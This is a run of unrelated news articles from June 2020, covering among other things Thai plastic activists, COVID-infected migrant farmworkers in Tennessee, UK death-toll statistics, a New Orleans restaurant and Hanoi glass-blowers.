Thailand has been stuck on the plastic issue for years. We need to focus on climate change because it is happening now. Our leaders are ignoring the consequences of current fossil fuel dependent policies, Lynn says.

Chanin Nommon Srisuma

Chanin Srisuma (Nommon) of Refill Station. Photo Credit: Ewen Mcleish

Chanin Srisuma is one of the faces behind Refill Station. Located near BTS On Nut, the shop and cafe allows shoppers to purchase essentials such as dry food, condiments and shampoo in pre-used containers brought from home.

A second branch sits inside BTS Ekkamai and will soon reopen after being closed for renovation during the lockdown. Nommon hopes the convenience of staying within the station itself will encourage more Bangkokians to shop waste-free.

Apart from helping customers reuse plastic they already have, we are reducing plastic use in the system by returning bulky containers to our suppliers for refilling, Nommon explains.

I do not think plastic is bad, its a lightweight and durable material. But I want to encourage people to be more mindful about their use of it because once we take something from nature we should utilise it as efficiently as we can.

Nommon says more businesses should factor in the environmental impact of what they do. We need to look up and down our supply chains, figuring out what the costs are. Then business practices must change to lessen the burden on the planet, he suggests.

Prasopsuk Eco-Artist Pom Lerdviriyapiti

Eco Artist Pom uses plastic from the oceans to create her art. Photo: Prasopsuk Lerdviriyapiti

Prasopsuk Lerdviriyapiti, aka Eco-Artist Pom, has spent the last 15 years creating art to highlight the plastic tide engulfing Thailands seas.

Working in Phuket, she collects the plastic that washes up on the islands beaches and uses it to construct mixed media outdoor sculptures, installations and costumes.

I hope my art will connect people to the issues and help them think about protecting the environment and how to get the most out of natures resources, she explains.

Pom is a survivor of the 2004 Tsunami, which was the initial inspiration for her art. After the wave, I visited every one of Phukets beaches and witnessed not only the obvious human tragedy but also our abuse of the oceans, she recalls.

The tsunami picked up rubbish and dumped it back onshore, spreading it everywhere and ruining the beaches. I resolved to collect, and reuse it and show people that things lost at sea can still have value, she explains.

Pom has watched the plastic issue gain traction globally and was not surprised when the government finally acted. Although, this is not only Thailands problem, hopefully more countries will follow suit, she says.

I wish the plastic industry would take on more responsibility. We often blame consumers for buying the plastics forgetting the industry that made them in the first place, the artist comments.

Environmentalists and their supporters will continue watching the authorities for real actions on plastic pollution and our wider environmental crisis. The hope is that green strategies will be central to the new policies needed to move Thailand on from the disruption caused by Covid 19.

Ewen Mcleish is a Bangkok based educator and writer for sustainability.

This article, Did Thailands plastic bag ban solve our problem?, originally appeared on Coconuts, Asia's leading alternative media company. Want more Coconuts? Sign up for our newsletters!
A promising online news website debuted last month from its statewide base in Nashville. Identifying itself as TennesseeLookout, the website has what appears to be sound leadership and creditable reporters. Its vow is that it hopes to become an Independent non-profit news site dedicated to covering Tennessee government, policy and politics. Hard-hitting but fair. I wish it every success in the world. Among its debut pieces is a story out of Rhea County about the migrant farm workers who work on fertile Dayton Mountain and its surrounding fields in the midst of the COVID virus and how, just recently, Tennessee--Lookout alleges over 200 infected migrant workers went poof,  absolutely vanished.

Here is Thursdays account from tennesseelookout.com :

* * *

EAST TENNESSEE MIGRANT WORKERS AT MERCY OF EMPLOYERS

(NOTE: This story appeared on a debuting online news site, tennessseelookout.com, on June 4, 2020.

It was written by an award-winning reporter, Dulce Torrez Guzman. If the Evensville, Tn., dateline stumps you, please know the small town is 50 miles north of Chattanooga, straight up Highway 27 through Dayton, and, thus, is in Rhea County. Evensville is the home of Rhea County High School.)

- - -

Written by Dulce Torrez Guzman

Evensville, Tenn.  In April, nearly 200 migrant workers came to Rhea County from Mexico to grow tomatoes, then in May they seemingly vanished.

With long, winding unpaved roads leading deep into untouched forest, Rhea County seems disconnected from the rest of Tennessee, and this seemingly innocuous fact is reinforced when some of their population disappeared from public view without much attention.

Their disappearance was only noticed when COVID-19 numbers in Rhea County jumped from 13 to 200 cases total mid-May in a county with slightly more than 33,000 citizens.

It started when an employee was feeling ill, so management sent him to be tested. When results came back positive for COVID-19, the farm requested the Rhea County Health Department test the rest of the workers, and thats how Southern Valley  Henderson Farms found out every one of their employees tested positive for coronavirus, according to the Chattanooga Times Free Press.

No one has heard from or seen the newly arrived migrant workers since. They havent stopped by Mi Cabanita tienda for some Conchas, or other Mexican antojitos. They havent visited friends at Hernandez Mexican Restaurant for a delicious burrito al pastor, despite only being 10 minutes away. No one has seen or heard from the migrant workers since reports that 187 were infected at the nearby Henderson Farms. The employees reported seeing only the farm managers dining at the restaurant with family or stopping by the tienda to send money orders to the migrant workers families. They declined to give their names, fearing backlash against their businesses.

But the laborers have been sighted still working at Henderson Farms, despite reports of infection. On a recent visit, about 30 laborers concentrated in the fields. Some wore scraps of fabric to cover their faces or nothing at all. Information in Spanish and English about workers rights covered the walls of school buses filled with bags and clothing.

Reporters for the Tennessee Lookout approached the laborers as they plowed the land in preparation for the growing season, but they kept their distance and were fearful to talk to outsiders, even to answer questions about what crops are being grown on the farm.

The boss will get mad, said one worker, if they stop working to talk to outsiders. He declined to give his name.

El patron se enoja. (translation: the patron gets angry)

In a few minutes, three members of farm management pulled up wearing N95 masks. They threatened to call local law enforcement, saying Lookout reporters were trespassing, despite no visible signage indicating this statement and an immediate offer to leave.

Migrant workers have become another casualty of the pandemic, with ballooning illness among the migrants a problem waiting to happen, according to Caitlin Berberich from Southern Migrant Legal Services.

We were afraid this would happen, she said.

The agricultural business stands as a symbol of irony in the current political climate. The Trump administration closed borders expanded the use of detention, limited access to asylum and halted immigration from Mexico through enhanced enforcement.

Yet when the pandemic began in March and farm workers were designated as essential workers, the Trump administration issued a series of orders granting agricultural employers additional flexibility in bringing in and employing H-2A temporary visa workers, as well as extending the visas.

An excerpt from the letter several farmworker rights groups sent to federal officials: Tens of thousands of H-2A workers will soon be crossing over international borders, primarily from Mexico, in crowded, cramped buses, as they make their way to their various employers across the country. Lacking personal transportation, once at their places of employment, H-2A workers and other farmworkers will be bused to work, usually in groups, sometimes in old school buses, vans, or pick-up trucks.

They will regularly be transported in groups into rural towns to buy groceries, cash checks, and send money to their families. If H-2A workers are, in fact, called upon to extend their stays and transfer to other jobs, they will likely be bused or flown to other states. Travelling in groups raises serious health and safety risks both for the farmworkers being transported and the communities they join on their arrival. Workers from states or countries with low risk of COVID-19 may be transferred to states with high risk and vice versa. Moreover, a busload of 50 to 100 or so farmworkers all entering stores at busy times for local shoppers could drastically increase the likelihood of spreading COVID-19.

In Rhea County, the migrant workers arrived in April from Mexico in the middle of a pandemic to be housed in barracks-style rooms, where the workers are typically crowded together and have access to limited sanitary facilities.

They often work in groups in the fields, touching equipment and packaging as well as crops, with limited access to handwashing facilities or sanitizer. They depend on their employers for access to stores and health care, which is often limited in rural areas, according Bruce Goldstein, president of Farmworker Justice.

In these conditions, the spread of infection was almost inevitable, and nothing has been done to protect farmworkers hired by H-2A program employers, the organization adds.

As essential workers, migrant workers have become extremely important to public health.

Farmworker Justice attempted to warn government officials of the impending danger. In conjunction with Southern Migrant Legal Services and similar organizations, the group penned a letter to Secretary of Labor Eugene Scalia and others on March 25 asking for enforcement of legal protections to H-2A workers especially since migrant workers were now considered critical, warning that failure to take proactive steps now could be catastrophic, not just in terms of the human cost, but to the rural communities in which migrant farmworkers live, the fragile health care system, the entire multi-billion dollar agricultural business, and to everyone that it feeds.

Just a month later several farms in Tennessee have experienced breakouts, including Monterey Mushroom in Loudon County with 74 employees testing positive. Employees were not allowed to return to work and were told to self-isolate, according to WBIR news in Knoxville. These outbreaks have added to the higher rates of infection within Hispanic communities across the state, with Hispanic or Latinos making up 20 percent of the total confirmed cases.

The difference between Henderson Farms and Monterey Mushroom is that the latter have a home in the community.

Monterey Mushroom is a year-round business that employs many workers from the local, established Hispanic community. Migrant workers stay in the country for a limited time as a condition of H2-A visas and have limited capability to make connections to the local Hispanic community due to barriers of transportation and communication. The workers depend almost entirely on their employer for every facet of their lives while working in a foreign country.

What if your boss is also your landlord and can also deport you? They have your passport, they have everything, said Frances Ansley, professor emeritus at the University of Tennessee College of Law.

Members of the Tennessee Immigrant and Refugee Rights Coalition (TIRRC) have spoken out about the outbreaks and how our local, state, and federal governments have not implemented any enforceable regulations for businesses that would protect workers and our communities, said Stephanie Teatro, co-executive director.

Tennessee Lookout made several attempts to reach Southern Valley Fruit and Vegetables, Inc. for a comment with no success, and on the last attempt a representative who answered the phone at the business hung up. Southern Valleys website says its a family-owned farm in South Georgia, with farms in Georgia, Tennessee, and Mexicos Yucatan Peninsula.

TIRRC urges companies and government officials to follow farmworker outlines to protect the health of the farmworkers, the local community and the states food supply.

Farmworkers are keeping communities healthy and fed. We must treat them as essential, not disposable, said Teatro.

* * *

So, where are those who just vanished? Most especially if they are indeed essential?

royexum@aol.com
05.06.2020 LISTEN

The Dormaa Ahenkro office of the ruling New Patriotic Party (NPP) has been vandalised.

Properties worth thousands of Ghana cedis are said to have been destroyed.

Persons behind the action and what led to the destruction of the properties are however not known yet.

Officials of the party have reported the issue to the Dormaa Ahenkro Police Command for investigation.

Deputy Secretary of the NPP in the Dormaa Central Constituency, Williams Nyarko who spoke to Citi News said, the action is incomprehensible.

We havent heard from those who caused that destruction. So we left everything for the police to investigate and get the culprits. As we speak, we havent seen those who did that. They have destroyed our television set, air conditioner, office chairs, radio set. The glass door which serves as our main entrance has also been destroyed, he said.

Meanwhile, the party in the constituency says, it will hold a press conference to condemn the act by the supporters.

---citinewsroom
The Director-General of Council of Scientific and Industrial Research (CSIR) Dr Shekhar Mande on Thursday told Republic TV that India has the potential of becoming a manufacturing hub after a vaccine for COVID-19 is produced.

Dr Mande made the statement while answering the question, Whether India will be able to expeditiously provide vaccine to its people?

"So on the vaccine front there are two front-runners at present. China and US have finished the phase 1 clinical trials and are getting ready for phase 2 clinical trials. We have to wait and watch, in few months we will know the results. Indian companies are extremely capable of producing large amount of vaccine, so as and when an approval comes for vaccine, I am sure Indian companies will go all out. India will become a global hub for vaccine manufacturing.

READ: Coronavirus Live Updates: Cases in India at 216,919 & deaths at 6,075; over one lakh cured

READ: At Global Vaccine Summit, PM Modi affirms India's capacity to produce vaccines at low cost

India is making several efforts in producing a vaccine against COVID-19. Whereas it is working on an indigenous product, at the same time, it has also collaborated at various global platforms to cultivate vaccine against COVID-19 which has rattled the world. India has as many as 30 groups, including industries and academics who are making relentless efforts to develop a vaccine to combat Coronavirus. AICTE and CSIR have held drug discovery hackathon to train students to do computational drug discovery amid COVID-19 pandemic.

Meanwhile, US President Donald Trump's administration has selected five companies to produce a vaccine for Coronavirus, while Brazil has allowed human clinical trials for the candidate being developed by Oxford University. Across the globe, 120 vaccines to combat Coronavirus are under process.

Globally, over 6,430,705 COVID cases have been reported so far. The death toll stands at 3,85,947. However, on a positive note, 2,804,982 people have recovered from the deadly virus.

The spike of cases in India has been witnessed after restrictions imposed amid the Nationwide lockdown to curb the spread of coronavirus were relaxed in the fourth phase of the lockdown by the MHA to revive the economy which took major hit post the curfew.

READ: Australia PM remembers Narendra Modi's 2014 Hologram campaign; suggests using it next time

READ: Home Ministry blacklists Markaz foreign attendees for ten years: Sources
JACKSON, Miss., June 5, 2020 /PRNewswire/ -- EastGroup Properties, Inc. (NYSE:EGP) announced today that Marshall Loeb, President and CEO, will present at the Stifel 2020 Cross Sector Insight Conference on Monday, June 8, 2020 at 2:00 p.m. EDT. The presentation will be broadcast live and is accessible at http://www.wsw.com/webcast/stifel19/egp.

EastGroup, an S&P MidCap 400 company, is a self-administered equity real estate investment trust focused on the development, acquisition and operation of industrial properties in major Sunbelt markets throughout the United States with an emphasis in the states of Florida, Texas, Arizona, California and North Carolina. The Company's goal is to maximize shareholder value by being a leading provider in its markets of functional, flexible and quality business distribution space for location sensitive customers (primarily in the 15,000 to 70,000 square foot range). The Company's strategy for growth is based on ownership of premier distribution facilities generally clustered near major transportation features in supply-constrained submarkets. EastGroup's portfolio, including development projects and value-add acquisitions in lease-up and under construction, currently includes approximately 45.7 million square feet.

EastGroup Properties, Inc. press releases are available at www.eastgroup.net .

SOURCE EastGroup Properties

Related Links

https://www.eastgroup.net


The Delhi High Court on Thursday asked the police and South Delhi Municipal Corporation (SDMC) to carry out separate inspections of Sainik Farms area to figure out if any new unauthorised constructions had taken place in the area.

A bench of Justices Hima Kohli and Subramonium Prasad directed Delhi Police and the south municipality to file separate status reports on their inspections, after a plea was filed by a private individual alleging that fresh unauthorised construction had started in Sainik Farms, in the garb of carrying out minor repairs which was permitted by the high court in May last year.

The court warned the two authorities that if there was any violation of its earlier order  passed in May 2019  subsequent to the inspections, the concerned officers shall be held personally responsible.

The plea is being treated as part of main petition moved in 2015 by the convener of the area development committee of Sainik Farms for regularisation of all unauthorised colonies.

The main petition is still pending in the high court as the Delhi government and the Centre are yet to take a decision on whether Sainik Farms is to be regularised.

The matter will now be heard on August 11.
Aanuoluwapo Adeyemi, also known as Queen Aanu, is one of the wives of the Alaafin of Oyo, Lamidi Adeyemi.

On the occasion of her birthday on Monday, the young queen who was born in the 90s, reflected on her relationship with the monarch and revealed reasons why she has grown fond of him.

Writing on her Instagram page, the queen who welcomed the monarchs third set of twins in 2018, appreciated the Alaafin for not only being her partner but also a teacher who teaches her to be focused.

She also described him as her lover and history teacher.

She wrote, I also want to thank my Husband, His Imperial Majesty, Oba Dr. Lamidi Olayiwola Atanda Adeyemi III, Iku Baba Yeye, Alaafin of Oyo. JP CFR LLD SAP. Who Has Been The Gamaliel under whose feet I continue to learn.

He teaches me to be focussed, that ambition Is made with Sterner Stuff and that a person without goals sets before him or she could be regarded as unambitious, that he or she is like a ship without a rudder, a play without a plot and an aimless wanderer in the Voyage of life.

Talking about the 81-year-old king in another post, the 300-level History undergraduate of the University of Ibadan, revealed that the Alaafin teaches her about traditional Yoruba history.

Mrs Adeyemi, who is one of the young light-skinned queens in the monarchs harem, also said she hopes to imbibe some of the qualities of the Alaafin.

She said, I hope Im not becoming a historian like him, well Im not, still Learning and tapping from him. Learning new things while at home, staying positive that everything will be fine. You should do the same, she said.

READ ALSO:

She also thanked the king for making their marriage a good one, despite her flaws.

The queen, who is known to be very close to the monarch, has over 49,000 Instagram followers.

While the monarch, a boxer and gym enthusiast, regularly steps out with his four queens, he always has Olori Aanu by his side.

https://www.instagram.com/p/CA1GR7gnu1b/
WATERLOO  Sinking property values in the Crossroads Center retail area are prompting the city to move the Lost Island Theme Park site into a different tax district.

The $100 million tourist attraction being developed by the Bertch family on Shaulis Road near the Lost Island Waterpark and Isle Casino Hotel Waterloo is currently in the Crossroads tax-increment financing district.

The actual location of the theme park isnt changing, but city leaders are moving forward with plans to move the theme park property into the more successful San Marnan Drive TIF district to the west.

The Crossroads TIF has seen problems in valuation that are currently leading to a negative increment, said City Planner Aric Schroeder. Additional concern has been raised over the outlook for valuations in the Crossroads TIF area and its impact on our ability to make the development agreement for the proposed theme park viable.

Members of the city Planning, Programming and Zoning Commission voted unanimously Tuesday to endorse the plan. The City Council is scheduled to hold a public hearing and vote on the measure July 13.

TIF districts are geographic zones created to attract development. New property tax revenue generated from growth in a district isnt released to other taxing bodies; it is retained by the city to spend on development incentives in that specific district.

The city of Waterloo created a new TIF district around the Crossroads Center area in 2014 to generate revenue so it could provide tax breaks to lure new businesses.

But property values in the district actually fell, primarily as the mall saw huge losses in is assessed value. The situation could worsen as Dillards closes its department store.

The lost tax base leaves no increment taxes to provide incentives to new businesses. It even forced the city to dip into other city reserves to pay for tax breaks already promised to other businesses in the TIF.

Meanwhile, the San Marnan TIF to the west is more prosperous thanks to an expansion at VGM, development in the Country Club Business Center at San Marnan Drive and Ansborough Avenue, and other new business openings.

The city has been using excess revenue generated in the San Marnan TIF to buy farmland for a new business park southeast of the Ansborough/U.S. 20 interchange. Those acquisitions are nearly complete.

Records show the city is planning to remove the Lost Island Theme Park site from the Crossroads TIF and then connect it to the San Marnan TIF by using a strip of Shaulis Road right-of-way.

City Council members to date have not approved a development agreement for the theme park. However, the proposed update to the San Marnan TIF includes a $14 million grant and $3.7 million in future tax rebates for the project, along with $10 million to improve the Shaulis Road corridor.

Meanwhile, Community Planning and Development Director Noel Anderson said the city hasnt given up on making the Crossroads TIF successful. He said the city hopes property values eventually stabilize.

The Crossroads TIF was recently expanded north along La Porte Road, which is slated for a major reconstruction project in coming years. City officials hope the project will encourage more private investment there.

Staffer Tim Jamisons most memorable stories of 2019:

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With the second highest death toll from the Covid-19 coronavirus in the world, reports this week claimed that the UK had more daily deaths than the whole of the EU combined on a recent day, despite its population being just one seventh of the size.

While the actual figures are close, the data used in the graphic has a number of flaws that reveal that to be inaccurate.

The governments daily coronavirus press conference no longer includes a slide comparing the UKs coronavirus death toll to other countries.

The chart was removed on 10 May, after the UK overtook Italy to become the country with the highest number of confirmed Covid-19 deaths in Europe.

Nearly a month later, the UKs death toll remains the highest in Europe, and second highest in the world behind the United States.

The latest data reveals an even more concerning trend, whereby the number of new daily deaths in the UK has begun to rise again after falling for more than a month.

Containment measures in the UK were not as strict as some other European countries, such as France or Italy, where daily deaths from coronavirus are now around a quarter the number of those in the UK.

Earlier this week, the BBCs Newsnight reported that the UK has more daily deaths from Covid than the rest of the entire EU put together, displaying a chart with data taken from Worldometer.

Data researchers have criticised Worldometer for being unreliable, with Max Roser from the online data platform OurWorldInData project describing it as misinformed and wrong.

The biggest discrepancy with the data comes from Spain  another badly affected country that recently changed the way it recorded deaths from the coronavirus.

The change in counting method resulted in Covid-19 deaths dropping from several hundred per day to single figures overnight. (If this misleading method was used by the UK, the daily count would be around 20).

The UKs daily figure for new deaths, when taken as a more representative seven-day rolling average, has in fact never exceeded the total number of daily deaths in Europe.

The UKs average number of daily deaths from Covid-19 as of 4 June was around 330, while the figure for all European countries combined was around 430.

Both numbers have been falling consistently since mid April, though as the UKs daily death toll begins to rise again, the number of daily deaths could soon overtake those of Europe.

While the UK has the highest number of total deaths from the coronavirus in Europe, when taken as a proportion of its population it actually ranks below Spain and Belgium.

But using this same per capita measure also reveals that the UK currently has the highest death rate of any country in the world.

This statistic, taken in context with Europe's declining death rate, means the UK could soon account for more new coronavirus deaths than every EU country combined.
What can one person do? How can we stay grounded when the terrain keeps shifting beneath us? How can we share community strength when many bonds are being tested?

These are heavy questions. But one homegrown Central City takeout restaurant always seems to have fresh answers ready, alongside its modern take on Creole cooking.

PeeWees Crabcakes on the Go is a tiny operation, serving takeout meals from an old barge board cottage on Martin Luther King Boulevard. But its founder, chef Charles PeeWee Armstrong, has big ambitions for it. Even through the tumult of the times, hes taking new steps to fulfill them.

Theres a lot is going on right now, but this is my time, said Armstrong. You have to keep your vision and your goals. You have to keep going if youre going to achieve those goals.

Next week, work begins on a second location for PeeWee's Crabcakes on the Go in Gentilly, in the former We Dats Chicken & Shrimp location at 4500 Old Gentilly Road. This much larger space will have dine-in service with up to 50 seats and will serve takeout as well. Its slated to open Aug. 1.

Armstrong also has a new food truck set to deploy around the same time, to bring his cooking to other parts of town.

All the while, Armstrong has been keeping up a self-funded community feeding program from his restaurant that has been giving away meals to school kids during the pandemic shutdowns.

Armstrong is part of the next generation of black New Orleans chefs making their mark in the citys culinary scene. Armstrongs food flows from a long tradition of black Creole cooking and adds his own creative personal spark.

He grew up in Central City, and started with nothing. After working in restaurants for 20 years he began PeeWees Crabcakes on the Go in his own kitchen, cooking buttery-crisp crabcakes, added his spicy-sweet Aysa sauce (named for his daughter) and delivering plates to a circuit of friends.

In 2018, it was a one-man operation. Today he has 14 people on payroll.

They prepare an ever-growing menu, with stuffed crabs topped with cream sauce and crawfish, split lobster tails bubbling with garlicky seasoning over shrimp pasta and specialty plates like the seafood disaster that bring enough food for three or four people. Loaded potatoes, boiled seafood and char-grilled oysters are newer additions.

PeeWees once shared its current address with a donut shop, and Armstrong later had a stint in the CBD as an extended pop-up. Last summer, he took over the old donut shop completely.

He painted the exterior bright red (red for fire, thats the fire Im putting into this, Armstrong said at the time). And he also brought in a second business, Kaybeesweets, a cake and dessert brand from local baker Kennara Braud, giving her home-based business its first storefront location.

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Though PeeWees Crabcakes on the Go had a few tables, most of the business remained on the go. When the pandemic hit, and many restaurants scrambled to set up takeout, he was already there. Business has stayed steady.

Now its expansion time, with the food truck and the full service version of PeeWees now taking shape.

Armstrong said hes inspired by the example of Al Copeland, the late, legendary founder of Popeyes fried chicken. Armstrongs first job was at Copelands Cheesecake Bistro. He got a taste of higher culinary ambitions when Copeland sent his kitchen crew to take classes at the Culinary Institute of New Orleans, a training program then located near the restaurant.

I watched Al Copeland ever since I was 17, said Armstrong. He expanded. It wasnt just about New Orleans for him; it was Louisiana  he brought that flavor everywhere.

The original PeeWees Central City location will remain a takeout operation as the food truck and second restaurant get rolling.

This cottage location has also served as the hub for Armstrongs own community giving endeavor. Mondays are giveback day, when he cooks meals to distribute to the homeless.

Since March, when schools closed in the pandemic, hes been making grab-and-go plates for children, knowing many of his neighbors relied on school-based meal programs. He usually makes fish or chicken plates for the giveaway, and dishes out hundreds each week. He plans to continue the giveaways until school resumes in August.

Armstrong will close down PeeWees from June 6-9 while he completes some interior renovations. When he reopens, the crabcakes will be rolling and so will the plans in Gentilly.

It is a hard time for everyone, Ill acknowledge that, Armstrong But I think about the people who have been supporting us, pushing us, encouraging us  thats the momentum I have now, and thats the momentum thats keeping this going. Im pushing hard.

PeeWee's Crabcakes on the Go

2908 Martin Luther King Blvd., 504-264-7330

Lunch and dinner Tue.-Sun.

Note: closed for renovations June 6-9
GUILFORD, Maine  President Donald Trump traveled to Maine Friday to tour a facility that makes medical swabs used for coronavirus testing, but the swabs manufactured in the background during his visit will ultimately be thrown in the trash, the company said.

Puritan Medical Products said it will have to discard the swabs, a company spokeswoman told USA TODAY in response to questions about the visit.

It is not clear why the swabs will be scrapped, or how many. The company described its manufacturing plans for Friday as "limited"  but the disruption comes as public health officials in Maine and other states have complained that a shortage of swabs has hampered their ability to massively scale up coronavirus testing.

Workers in white lab coats, hair nets and plastic booties worked at machines making swabs while the president walked through the room. Trump, who did not wear a mask for the visit, stopped at one point to talk with some of the workers.

Made in the USA. Ive been saying it for a long time, Trump said.

Trump has repeatedly traveled during the pandemic to call attention to companies who are responding, sometimes with government help. In those cases, the president has used the factory floors as backdrops to convey a message of American ingenuity and production that he said the country has not witnessed since World War II.

Those tours generally last only a few minutes.

'This is a rocket ship': Trump touts jobs numbers amid protests, coronavirus tumult

Maine: 'A fragile moment': Trump tours swab maker despite concerns over unrest

"The running of the factory machines is very limited today and will only occur when the president is touring the facility floor," Virginia Templet, the company's marketing manager told USA TODAY in response to questions about the event. "Swabs produced during that time will be discarded."

President Donald Trump holds a medical swab near his nose as he tours Puritan Medical Products, a medical swab manufacturer, on Friday in Guilford, Maine.

The White House did not respond to questions about the swabs.

Nearly a third of Maine nursing homes reported last month they had no nasal swabs to collect specimens, the Portland Press Herald reported. Nearly 61% of those that responded to a Maine Medical Directors Association survey said they had seven or fewer at their disposal.

Story continues

National shortages of swabs was part of what severely hampered early coronavirus testing efforts. The Trump administration used the Korean War-era Defense Production Act to increase production, which Trump is expected to tout on Friday. Puritan, which received millions of dollars from the federal government to double production, is one of only two companies that make the kind of swabs needed in coronavirus testing.

During a briefing in April, Trump held up a medical swab alongside a Q-Tip that he pulled from his jacket pocket. Trump said swabs and chemical reagents needed for tests were "so easy to get." But in a tacit acknowledgment of the urgency of producing more, he also announced that he would activate the Defense Production Act.

Trump on George Floyd: Trump says George Floyd 'hopefully' looking down and saying 'this is a great thing that's happening'

President Donald Trump arrives for a visit to the Puritan Medical Products facility in Guilford, Maine, on Friday

Trump has traveled extensively in recent weeks to call attention to his administration's effort to ramp up the production of the tools needed to combat the virus. He toured a Ford Motor Co. factory in Michigan, a company that makes personal protective equipment in Pennsylvania and a Honeywell plant in Arizona that manufacturers respirators.

Those trips have drawn attention to the president's decision not to wear a face mask in view of news cameras, even as the employees and company officials staged behind him at those events do so. Trump has noted that the Centers for Disease Control and Prevention guidelines recommend  but do not require  a face mask.

This article originally appeared on USA TODAY: Trump in Maine: Puritan will throw away coronavirus swabs
- The tourism and hospitality industries are likely to lose an estimated $171 million due to COVID-19

- The amount was deduced from an assessment and was revealed by the Minister of Tourism, Culture and Creative Arts, Barbara Oteng-Gyasi

- Oteng-Gyasi explained that the loss affects both formal and informal sectors of the industries

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Ghanas tourism and hospitality industry are likely to lose $171 million in four months, the Minister of Tourism, Culture and Creative Arts, Barbara Oteng-Gyasi, has revealed.

According to her, this is the direct result of the outbreak of the coronavirus in Ghana.

Taking her turn at the press briefing organized by the Ministry of Information on Thursday, June 4, 2020, she indicated that the prediction is based on an assessment carried out between March and June 2020.

READ ALSO: Sub-Saharan Africa to record first recession in 25 years- World Bank report

Oteng-Gyasi noted that the loss would affect both the formal and informal sectors of the industries.

Per a report by citibusinessnews.com, she added that the government recognizes the importance of the sector to the economy and its contribution to the economy in terms of revenue generation as well as job creation.

For those reasons, she went on, it is not in the interest of the government that job losses are registered in the sector.

YEN.com.gh has gathered that tourism is one of the hardest hits by the COVID-19 outbreak.

The sector is projected to create about a million jobs while contributing about 6.2% to Ghanas GDP.

Most of the income realized from the sector mainly comes from foreigners who visit the country.

To tackle the challenge, President Akufo-Addo has reportedly constituted an inter-ministerial committee to assess the impact of COVID-19 on the sector and come up with a stimulus package for the struggling businesses within the industry.

Meanwhile, the Country Director of the World Bank, Pierre Frank Laporte, has reacted to reports of a $14 million package to revamp the tourism sector.

According to him, even though there are plans to support the industry, discussions are yet to be finalized.

He added that there would be a meeting with officials at the Ministry of Finance in a weeks time to finalise discussions.

READ ALSO: Ghanaian abroad now send less money home due to COVID-19 - Report

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Several residents living on the outskirts of Hanoi are following in their families footsteps, pursuing the ancient art of glass-blowing to sculpt magnificent bottles and tableware using rudimentary tools and techniques handed down from generations past.

Glass-blower Le Xuan Tien and his workers do not let the brutal temperatures blanketing the Vietnamese capital keep them from turning out beautiful pieces of art in their 20-square-meter workshop in Hoang Xa Village, Thong Nhat Commune, Thuong Tin District.

Tien spends his days skillfully blowing air through one end of a long glass pipe in order to create various pieces for his customers.

He refuses to let his swollen, blistered mouth stand in the way of his passion.

Glass-blowing is a family tradition for Tien, with the techniques he uses having been passed down from his grandparents to him over a period of nearly three decades.

Working long days in his small workshop surrounded by broiling flames has taught him the beauty of struggling to produce masterpieces.

For Tien, it is all about the art.

As a business his profits are small, but as an artist his returns are massive.

The [novel coronavirus disease] outbreak forced the facility to shut down for a period of time so now Im playing catch up to deliver enough products to my customers, he explained.

Making products out of glass requires many stages, including one which involves heating a glass tube to create shorter pieces. Photo: Mai Thuong / Tuoi Tre

Tien employs three workers who mainly specialize in producing glass tubes used for feeding birds.

Together, they churn out approximately 1,000 products each day.

In my parents day, nearly the entire commune blew glass, but everyone started giving up the job around ten years ago because of its difficulty and low pay, said Tien.

Many, Tien says, have even moved out of the commune to find employment in other parts of the country.

In this village, only four to five households still blow glass in the traditional way, he said, adding that other households still produce glass, but do so using machinery that can turn out products much faster than old school methods.

Luong Van Trai, the owner of a facility specializing in test tubes, told Tuoi Tre (Youth) newspaper that his family spent VND200 million (US$8,500) on a machine to help increase their productivity.

The machine can replace the workload of 10 to 15 workers, so the job is much easier. The initial stage, however, still involves manual work to create raw glass tubes, he said.

A glass-blower mixes a blob of molten glass with the end of a long pipe and blows air into the other end, which makes the blob swell. Photo: Mai Thuong / Tuoi Tre

A glass-blower molds blobs of molten glass into products with uniform thickness. Photo: Mai Thuong / Tuoi Tre

A skillful glass-blower needs to know the ripeness of glass. As glass is initially exposed to fire, it will appear blue in color before turning white. At that time, a slight blow is enough to mold the blob of molten glass into products of their desired shape, according to the professional glassmith Le Xuan Tien. Photo: Mai Thuong / Tuoi Tre

The glass-blowing technique plays a crucial role in creating products. A glass-blower has to hold his breath properly to produce specific products. Photo: Mai Thuong / Tuoi Tre

Molten glass is blown into a fixed mold so that a certain type of product will be in the same size. Photo: Mai Thuong / Tuoi Tre

The family of Ta Thi Nga is among several households that still maintain a traditional glass-blowing career at Hoang Xa Village, Thong Nhat Commune, Thuong Tin District on the outskirts of Hanoi, Vietnam. Her family produces test tubes, common pieces of laboratory glassware. Photo: Mai Thuong / Tuoi Tre

Ta Thi Nga (left), her husband Luong Van Trai (center), and their son are seen operating a machine which churns out test tubes. Photo: Mai Thuong / Tuoi Tre

The machine is designed to turn out up to a thousand test tubes a day. Photo: Mai Thuong / Tuoi Tre

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International study approaches new therapeutic strategies for lung cancer

The international study "Resistance to targeted therapies as a multifactorial, gradual adaptation to inhibitor specific selective pressures", recently published in the scientific journal Nature Communications, has taken a further step in the development of new therapeutic strategies to treat lung cancer.

This study, the result of more than three years of research, was conducted at the Moffitt Cancer Center in Tampa (Florida, USA) and makes progress toward the evolution of resistance to different tumor inhibitors. Scientist Robert Vander Velde is the main author of it.

"Although the use of specific inhibitors targeted against a tumor often induces good clinical results at initial stages, certain cell populations might not be completely eliminated, acquiring resistance to treatments and developing relapse as tumor recurs", explains Diego Lozano, researcher of the Supercomputing and Bioinnovation Center (SCBI) of the University of Malaga (UMA) and one of the authors of this study.

Resistance to tumor inhibitors

Using an in vitro model of isolated ALK positive cells of a specific type of lung cancer, namely, non-small or non-microcytic cell lung cancer, researchers explored the evolution of resistance to different clinical ALK inhibitors.

"We demonstrated that the acquisition of resistance to tumor inhibitors not only arises from the pre-existence of cell subpopulations in mutations that enable tumors to survive drugs, or due to emergence of point mutations that confer such resistance, but from a gradual and predictable adaptation to the selective pressures of the different ALK inhibitors, at the genetic and epigenetic level", says the researcher of the UMA.

Opportunity for more effective therapies

Lozano explains that during the evolution of drug resistance, intermediate cell populations present collateral sensitivity to other inhibitors, thus providing a temporarily opportunity to apply effective therapies.

"The findings of this study could be transferred to other similar scenarios, where tumors also acquire therapy resistance", clarifies Lozano, who guarantees that by understanding the evolutionary mechanisms and trajectories of drug resistance in tumor cells, evolutionary-informed therapies could be designed.

###

